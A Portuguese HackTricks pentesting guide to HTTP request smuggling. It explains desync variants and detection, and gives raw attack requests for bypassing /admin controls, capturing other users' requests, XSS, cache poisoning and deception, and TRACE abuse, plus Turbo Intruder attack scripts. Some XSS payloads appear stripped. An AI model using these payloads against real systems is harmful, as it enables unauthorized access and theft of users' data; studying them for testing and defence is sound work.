# HTTP Request Smuggling / Ataque de Desincronização HTTP
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## O que é Essa vulnerabilidade ocorre quando uma **dessincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\ Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end depois da dele**. ### Teoria [Especificação RFC (2161)](https://tools.ietf.org/html/rfc2616) > Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado. **Content-Length** > O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário. **Transfer-Encoding: chunked** > O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\ > Chunked significa que dados grandes são enviados em uma série de chunks. ### Realidade O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **dessincronização** entre os 2 sistemas.\ Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**. ### Particularidades Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:** * **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**. * **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0` * **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling. ## Exemplos Básicos {% hint style="success" %} Ao tentar explorar isso com o Burp Suite, **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados. {% endhint %} Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos. ### Exemplos Básicos de Tipos de Vulnerabilidades ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) #### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End) * **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`. * **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`. * **Cenário de Ataque:** * O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo. * O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`. * O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente. * **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 Foo: x ``` #### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End) * **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`. * **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`. * **Cenário de Ataque:** * O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham. * O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end. * O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente requisição não intencional. * **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked 7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 x= 0 ``` #### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação) - **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo através de obfuscação. - **Cenário de Ataque:** - O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados. - Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada. - A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando ao contrabando. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` #### **Cenário CL.CL (Content-Length usado por ambos, Front-End e Back-End):** - Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`. - Este cenário geralmente não leva ao contrabando, pois há alinhamento na interpretação do comprimento da solicitação por ambos os servidores. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Solicitação Normal ``` #### **Cenário CL != 0:** - Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação possui conteúdo. - É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação. - **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Corpo Não Vazio ``` #### Forçando via cabeçalhos hop-by-hop Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um contrabando de solicitação HTTP seja possível de ser abusado**. ``` Connection: Content-Length ``` Para **mais informações sobre cabeçalhos hop-by-hop** visite: {% content-ref url="../abusing-hop-by-hop-headers.md" %} [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) {% endcontent-ref %} ## Encontrando HTTP Request Smuggling A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades: ### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização * **Método:** * Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais. * **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4 1 A 0 ``` * **Observação:** * O servidor front-end processa a solicitação com base no `Content-Length` e interrompe a mensagem prematuramente. * O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso. * **Indicadores:** * Timeouts ou longos atrasos na resposta. * Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor. ### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização * **Método:** * Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais. * **Exemplo:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6 0 X ``` * **Observação:** * O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira. * O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso. ### Outros Métodos para Encontrar Vulnerabilidades * **Análise Diferencial de Resposta:** * Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância na análise. * **Usando Ferramentas Automatizadas:** * Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas. * **Testes de Variação de Content-Length:** * Enviar solicitações com valores de `Content-Length` variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais discrepâncias. * **Testes de Variação de Transfer-Encoding:** * Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações. ### Testando a Vulnerabilidade de HTTP Request Smuggling Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para `/` resulte em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente. **Considerações Importantes** Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente: * **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade. * **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido. * **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva. * **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade. * **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa. ## Abusando do HTTP Request Smuggling ### Contornando a Segurança Front-End via HTTP Request Smuggling Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições. Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho `/admin` que geralmente é protegido pelo proxy front-end: **Exemplo CL.TE** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Length: 10 x= ``` No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` embutida, permitindo acesso não autorizado ao caminho `/admin`. **Exemplo TE.CL** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 4 Transfer-Encoding: chunked 2b GET /admin HTTP/1.1 Host: localhost a=x 0 ``` Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`. ### Revelando a reescrita de solicitação de front-end As aplicações frequentemente empregam um **servidor de front-end** para modificar solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: `, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**. Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Connection: keep-alive Transfer-Encoding: chunked 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 search= ``` Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente. É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro. Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa. Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida. ### Capturando solicitações de outros usuários É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito: Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 319 Connection: keep-alive Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo dentro da seção de comentários de uma postagem em uma página de acesso público. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário. No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima será interrompido no primeiro `&`, que pode até fazer parte da string de consulta. Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa. ### Usando contrabando de solicitação HTTP para explorar XSS refletido O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas: * A interação com os usuários-alvo **não é necessária**. * Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como os cabeçalhos de solicitação HTTP. Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: session=ac311fa41f0aa1e880b0594d008d009e Transfer-Encoding: chunked Connection: keep-alive Content-Length: 213 Content-Type: application/x-www-form-urlencoded 0 GET /post?postId=2 HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: "> Content-Length: 10 Content-Type: application/x-www-form-urlencoded A= ``` Este payload é estruturado para explorar a vulnerabilidade da seguinte forma: 1. Iniciando uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling. 2. Seguindo com um `0`, marcando o final do corpo da mensagem chunked. 3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, ``, acionando o XSS quando o servidor processa essa solicitação subsequente. Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz. ### Explorando Redirecionamentos no Local com HTTP Request Smuggling As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra: ``` GET /home HTTP/1.1 Host: normal-website.com ``` Resultados em: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o smuggling de solicitação HTTP para redirecionar usuários para um site externo. Por exemplo: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Connection: keep-alive Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` Resultados em: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta. ### Explorando a Poluição de Cache da Web via HTTP Request Smuggling A poluição de cache da web pode ser executada se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, normalmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **poluir o cache**. Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo `/index.html` em resposta a uma solicitação para `/static/include.js`. Consequentemente, o conteúdo `/static/include.js` é substituído no cache pelo de `/index.html`, tornando o `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS). Essa técnica se torna particularmente potente se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no local para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado. Abaixo está uma ilustração da exploração da **poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante: ``` POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 ``` Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**). Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante. Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS. ### Usando o contrabando de solicitação HTTP para realizar a decepção de cache da web > **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?** > > * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação. > * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache. O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ `Connection: keep-alive`\ `Content-Length: 43`\ `Transfer-Encoding: chunked`\ ``\ `0`\``\ `GET /private/messages HTTP/1.1`\ `Foo: X` ``` Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache. ### Abusando do TRACE via HTTP Request Smuggling [**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` Irá enviar uma resposta como: ``` HTTP/1.1 200 OK Content-Type: message/http Content-Length: 115 TRACE / HTTP/1.1 Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` Um exemplo de como abusar desse comportamento seria **contrabandear primeiro uma solicitação HEAD**. Esta solicitação será respondida apenas com os **cabeçalhos** de uma solicitação GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD uma solicitação TRACE**, que estará **refletindo os dados enviados**.\ Como a resposta HEAD conterá um cabeçalho `Content-Length`, a **resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta. \ Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**. ### Abusando do TRACE via Separação de Resposta HTTP Continuar seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) é sugerido como outra maneira de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível **controlar alguns dados refletidos** na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE. Portanto, a nova ideia seria que, conhecendo este Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache). Exemplo: ``` GET / HTTP/1.1 Host: example.com Content-Length: 360 HEAD /smuggled HTTP/1.1 Host: example.com POST /reflect HTTP/1.1 Host: example.com SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n Content-Type: text/html\r\n Cache-Control: max-age=1000000\r\n Content-Length: 44\r\n \r\n ``` Gerará essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e, uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada): ``` HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 165 HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 243 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok Content-Type: text/html Cache-Control: max-age=1000000 Content-Length: 50 ``` ### Armar HTTP Request Smuggling com Desincronização de Resposta HTTP Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração: {% content-ref url="../http-response-smuggling-desync.md" %} [http-response-smuggling-desync.md](../http-response-smuggling-desync.md) {% endcontent-ref %} ### Outras Técnicas de HTTP Request Smuggling * HTTP Request Smuggling no Navegador (Lado do Cliente) {% content-ref url="browser-http-request-smuggling.md" %} [browser-http-request-smuggling.md](browser-http-request-smuggling.md) {% endcontent-ref %} * Request Smuggling em Downgrades HTTP/2 {% content-ref url="request-smuggling-in-http-2-downgrades.md" %} [request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md) {% endcontent-ref %} ## Scripts do Turbo Intruder ### CL.TE De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Transfer-Encoding: chunked Host: xxx.com Content-Length: 35 Foo: bar 0 GET /admin7 HTTP/1.1 X-Foo: k''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ### TE.CL De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) engine.start() attack = '''POST / HTTP/1.1 Host: xxx.com Content-Length: 4 Transfer-Encoding : chunked 46 POST /nothing HTTP/1.1 Host: xxx.com Content-Length: 15 kk 0 ''' engine.queue(attack) victim = '''GET / HTTP/1.1 Host: xxx.com ''' for i in range(14): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` ## Ferramentas * [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de solicitação. ## Referências * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) * [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) * [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting) * [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4) * [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/) * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) * [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) * [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
